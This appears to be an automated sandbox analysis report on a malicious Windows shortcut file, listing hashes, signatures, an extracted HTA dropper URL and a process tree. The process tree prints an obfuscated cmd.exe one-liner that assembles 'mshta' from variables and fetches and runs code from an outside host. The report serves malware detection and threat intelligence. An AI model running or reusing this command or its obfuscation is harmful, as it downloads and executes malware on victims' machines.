Analysis
- max time kernel
148s - max time network
149s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260710-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/08/2026, 12:51
Static task
static1
Behavioral task
behavioral1
Sample
DOC-4CRWH8.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-4CRWH8.lnk
Resource
win11ltsc2024-20260710-en
3 signatures
150 seconds
General
- Target DOC-4CRWH8.lnk
- Size 1KB
- Sample260803-p3wrbabl6v
- SHA256 c232f55407f966d2c9a9e8dfd631cc038f41117c77d86d7f6e34a9876f629ac1
- MD5 f271c739a08b331d1a7df00bdf6e81d3
- SHA1 baea9c9b91b59042e7c329df1407bdfb4e7adf81
- SHA512 b55f8daf124e1369958a9d1a08d7bb37930c24262ccce5d8208772523b8b436552b06f971bde68b922fa363a4d66880f958ff64d7a0805a18e33d3daa274b5c2
- TLSH T1CC3147503FF90A54F3B79F7384BB572085BBB9558E21C61D0141464C5062A15E17AF77
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://bo-pdffiler.lat/h/estagio1.php?r=360761F15794
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 5192 cmd.exe 932 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 5192 wrote to memory of 932 5192 cmd.exe 90 PID 932 wrote to memory of 2496 932 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-4CRWH8.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5192 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /V:on /c "set pgAGk=msh&&set STTK=ta&&start "" !pgAGk!!STTK! https://bo-pdffiler.lat/h/estagio1.php?r=360761F15794"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:932 -
C:\Windows\System32\mshta.exemshta https://bo-pdffiler.lat/h/estagio1.php?r=360761F157943⤵PID:2496
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